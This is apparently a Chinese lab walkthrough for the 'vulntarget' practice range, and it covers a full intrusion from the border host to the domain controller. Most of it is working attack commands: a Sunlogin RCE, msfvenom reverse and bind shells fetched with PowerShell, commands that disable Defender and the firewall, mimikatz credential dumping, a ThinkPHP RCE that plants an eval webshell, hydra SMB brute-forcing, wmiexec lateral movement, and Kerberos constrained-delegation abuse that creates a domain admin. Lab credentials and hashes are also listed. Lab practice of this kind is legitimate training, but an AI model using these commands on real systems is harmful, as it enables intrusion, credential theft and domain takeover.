》》》靶机信息《《《
#攻击机
OS:Kali 2022.2
NIC:192.168.41.130
#向日葵机器
OS:Windows Server 2016
账密1:administrator/win2008
账密2:ash/qweASD123
防火墙开着,WDF开着
NIC1:192.168.41.154
NIC2:192.168.100.155
#Ubuntu
OS:Ubuntu
账密:vulntarget/0!;..123vuln
设置了防火墙规则
网站配置文件内设置了IP,所以IP需要固定
NIC:192.168.100.131
NIC:192.168.88.100
#域内主机
OS:Windows Server 2008R2
本地username:administrator
本地password:admin@123
域内username:win2008
域内password:qweASD123
数据库管理员
账号:sa
密码 :qweASD123
数据库普通用户权限
账号:test
密码:123.com
NIC1:192.168.88.102
NIC2:10.0.10.9
#域控主机
服务账户--》约束性委派
username:wins2016
password:qweASD123
Dusername:vulntarget\administrator
Dpassword:8A..;123admin
NIC1:10.0.10.10
一:边界主机
1.1:漏洞探测
步骤一:使用Nmap扫描目标主机确定开放的端口与对应的服务 以下端口开放
#Nmap扫描
nmap -sC -sV -p 0-65535 -n -vv --min-rate=2000 192.168.41.154
步骤二:访问其49
671端口返回如上内容,可使用observer_ward
工具识别其指纹获取到 sunlogin 信息
#程序下载
https://github.com/0x727/ObserverWard/releases/download/v2022.3.15/observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz
#指纹库升级
./observer_ward -u
#指纹探测
./observer_ward -t http://192.168.41.154:49671/
步骤三:利用向日葵RCE工具进行漏洞利用
#漏洞检测利用
https://github.com/j2ekim/sunlogin_rce/releases/tag/v1.1
#执行命令
./xrkRce -h 192.168.41.154 -t rce -p 49671 -c "whoami" 确认其具有漏洞 可以利用此进行反弹shell
步骤四:在交互式接口中执行以下命令开始进行信息收集.....
hostname
tasklist /svc
ipconfig /all
pwd
dir C:\Users\
net user
netsh advfirewall show allprofile state --》防火墙开启
netsh advfirewall set allprofiles state off --》关闭防火墙
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 修改防火墙允许3389端口通过
1.2:上线MSF
步骤五:在kali上生成MSF后门并开启监听,通过PowerShell
方式下载后门到目标主机上运行
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.41.130 lport=9696 -f exe -o aa.exe
#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.41.130
set lport 9696
run
#Poewrshell下载
powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.41.130:8081/sakura.exe','C:\Users\Administrator\sakura.exe')
下载的时候注意每次下载修改名称
# 这里在使用PowerShell进行文件下载的时候会发现有下载记录但是下载的文件被defender杀掉,这里有两种处理的方式:1.程序免杀 2.关闭defender的实时保护
powershell set-MpPreference -DisableRealtimeMonitoring $true //关闭defender实时保护
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\" //PowerShell策略绕过
#执行上线...
cd C:\Users\Administrator;dir
start C:\Users\Administrator\sakura.exe
步骤六:执行以下命令进行权限维持 并添加去往192.168.100.0/24网段的路由
ps //查看进程
migrate pid //迁移进程
cd C:\\Users\\Administrator\\Desktop //存在需要测试的地址.txt
download 需要测试的地址.txt /root/桌面/test //下载文件
chcp 65001 编码
#抓取密码
load kiwi
kiwi_cmd lsadump::sam
Administrator:388f586516a4cba963b4181363b44034 //解密:win2008
ash:96783bb69c00614e88f7d4688623c83a //解密:qweASD123
#添加路由
use post/multi/manage/autoroute
set session 1
run
步骤八:开启RDP并远程登陆
#开启远程
run post/windows/manage/enable_rdp
#远程连接
mstsc
二:内网Ubuntu
2.0:一级代理
步骤一:进行信息收集
查看盘内内容 发现需要测试的地址
查看浏览器缓存 发现访问地址
http://192.168.100.131/vulntarget/public
http://192.168.100.131/vulntarget/public/index.php
http://192.168.100.131/
arp -a 查看缓存 发现内网地址192.168.100.131
步骤二:使用以下命令上传frp程序并做好Socks5代理并使用proxychains
进行测试...
frps
服务端设置在kali
[common]
bind_port = 7000
frpc
客户端设置在外网
[common]
server_addr = 192.168.41.130 服务端地址
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777 socks5的代理端口
plugin = socks5
#配置代理
vi /etc/proxychains4.conf
socks5 192.168.41.130 7777
#测试代理
proxychains curl http://192.168.100.131/vulntarget/public/index.php
步骤二:这里将Nmap扫描流量带入到内网并直扫131主机的开放端口...试想在有流量检测拦截设备的内网中该怎样突破?平常扫描攻击肯定是动静大且容易被捕获.....
#执行命令
proxychains nmap -Pn -T4 -sT -p- 192.168.100.131
#开放端口
22/80/8888
2.1:Host碰撞
步骤三:访问信息收集得到的地址发现为400 猜测host碰撞
步骤四:下载以下项目并将获取的域名放到host.txt
并将IP地址放到ip.txt
中执行以下程序进行HOST碰撞
#项目地址
https://github.com/fofapro/Hosts_scan
#执行命令
proxychains python3 IP_hosts_scan_multithreading.py
#执行结果
192.168.100.131 --》 http://www.cJO6w10YLS.com
步骤五:在火狐浏览器上安装 Modheader
插件修改host头信息并再次访问其80端口如下页面
#修改字段
Host --》 www.cJO6w10YLS.com
步骤六:尝试POC执行命令均被禁用拦截
http://192.168.100.131/vulntarget/public/index.php?s=1
#POC
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //system函数被禁用
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sassert&vars[1][]=phpinfo() //被BTWAF拦截
2.2:GetShell
步骤七:尝试使用file_put_contents函数写文件成功 直接GetShell...
#file_put_contents写文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?> //无权限
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../123.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>
#GetShell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>
#WebShell
http://192.168.100.131/url.php
步骤八:使用蚁剑连接配置代理并编写编码规则且加入Host信息测试连接
#编码配置
AntSword-->编码设置-->编码管理-->新建编码器-->PHP-->在创建编码器命名为url-->点击编辑-->将以下代码贴入替换并保存!
#编码内容
'use strict';
// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}
2.3:绕过disable_function
步骤九:在命令终端中无法执行命令..这里尝试使用 php7-gc-bypass
绕过执行系统命令...
#项目地址
https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php
在蚁剑中创建by.php并将以上项目文件的项目代码保存在浏览器访问...
#访问地址
http://192.168.100.131/by.php
步骤十:翻找/home目录时发现私钥文件..key
下载到Kali发现可以连接Ubuntu主机
#私钥文件
/home/vulntarget/key
#连接命令
proxychains ssh -i key 192.168.100.131
步骤十一:执行以下命令进行信息收集..发现其内部还存在192.168.88.0/24
网段
id --》
whoami --》root
ping www.baidu.com --》不出网
ifconfig --》 192.168.100.0/24 192.168.88.100/24
arp -a --》 192.168.88.102主机信息
ufw disable --》关闭防火墙
iptables -L --》查看防火墙规则
发现防火墙中存在指定端口访问的策略
iptables -A INPUT -j ACCEPT
iptables -A OUTPUT -j ACCEPT
2.4:上线MSF
步骤十二:生成MSF反向马并上传至边界主机
#生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > bindtcp.elf
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.100.131
set lport 4444
run
#scp传递执行
proxychains scp -r -i key bindtcp.elf root@192.168.100.131:/www/wwwroot/vulntarget-e2/bindtcp.elf
python3 -c 'import pty;pty.spawn("/bin/bash")' 调用窗口
#添加路由
use post/multi/manage/autoroute
set session 2
run
三:域内主机Wins08R2
3.1:二级代理
步骤一: 搭建二层代理
frps
服务端设置在外网
[common]
bind_port = 7001
frpc
客户端设置在ubuntu
[common]
server_addr = 192.168.100.155 服务端地址
server_port = 7001
[plugin_socks]
type = tcp
remote_port = 8888 socks5的代理端口
plugin = socks5
步骤二:这里挂代理开始扫描在ubuntu机器中收集到的102主机发现开放135和445端口!
proxychains nmap -Pn -sT -p1-65535 192.168.88.102
步骤三:尝试使用hydra对其SMB协议进行爆破
proxychains hydra -l administrator -P password.txt 192.168.88.102 smb
3.2:内网横向
步骤四:根据以上爆破的结果使用Impacket中提供的wmiexec.py工具远程连接其命令执行环境获取交互式接口..
proxychains python3 wmiexec.py administrator@192.168.88.102
chcp 65001
步骤五:执行以下命令进行信息收集并开启关闭相对应的功能...
whoami
hostname
ipconfig /all //域:vulntarget.com 192.168.88.102/24 10.0.10.9/24
arp -a //10.0.10.10
netsh advfirewall set allprofiles state off //关闭防火墙
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f //开启3389端口
步骤六:在MSF上开启代理在外界windows主机上使用SocksCap64挂上代理访问远程桌面
#开启代理
use auxiliary/server/socks_proxy
show options
run
#主机信息
ip address:192.168.88.102
username:administrator
password:admin@123
3.3:上线MSF
步骤七:使用一下命令生成反向马并监听反弹,直接远程桌面复制过去上线成功...
生成正向马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe > bindtcp3.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.88.102
set lport 6666
run
四:域控主机Wins16
4.1:信息收集
步骤一:开始进行信息收集,上传猕猴桃到Wins08执行抓取到域用户明文密码...
#MSF添加路由
use post/multi/manage/autoroute
set session 3
run
ping vulntarget.com //10.0.10.10
#定位域控
meterpreter > run post/windows/gather/enum_domain
#先在win2008以下面的账户密码登陆一下 不然无法抓取密码
#MSF抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords
#Mimikatz
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取明文密码
Domain user:win2008
Domain user password:qweASD123
步骤二:上传Adfind程序判断是否存在非与约束性委派属性,发现第三台主机上的win2008
域账户对第四台主机10.0.10.10的CIFS
服务存在约束委派...
#查询域中配置非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#茶渣
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
4.2:约束性委派攻击
步骤三:上传kekeo
并用请求win2008的TGT接着伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。
#请求约束性委派用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
#伪造S4U请求并访问CIFS服务
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
步骤四:利用mimikatz
导入S4U2proxy阶段生成的ST并访问域控10.0.10.10主机(注意:导入一次ST执行一次命令)
#导入ST
privilege::debug
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
exit
#执行命令
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$
步骤五:执行以下命令创建域用户并将其添加到域管理员中,查看用户信息
net user sakura 123admiN@ /add /domain
net group "domain admins" sakura /add /domain
4.2:三级代理
步骤六:这里为了访问到内网域控主机需要挂三级代理 并按照以下操作设置
frps
服务端设置在ubuntn
[common]
bind_port = 7002
frpc
客户端设置在win2008
[common]
server_addr = 192.168.88.100 服务端地址
server_port = 7001
[plugin_socks]
type = tcp
remote_port = 8888 socks5的代理端口
plugin = socks5
4.3:横向移动
步骤七:使用Impacket
中提供的wmiexec.py
工具远程执行,成功上线第四台主机!!!
proxychains python3 wmiexec.py sakura:123admiN@@10.0.10.10
步骤八:生成反向马并上传Wins08R2
#生成正向马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1111 -f exe > zx.exe
#开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.10
set lport 1111
run
#上传
lput /root/桌面/test/zx.exe c:\
#执行
zx.exe
步骤九:至此结束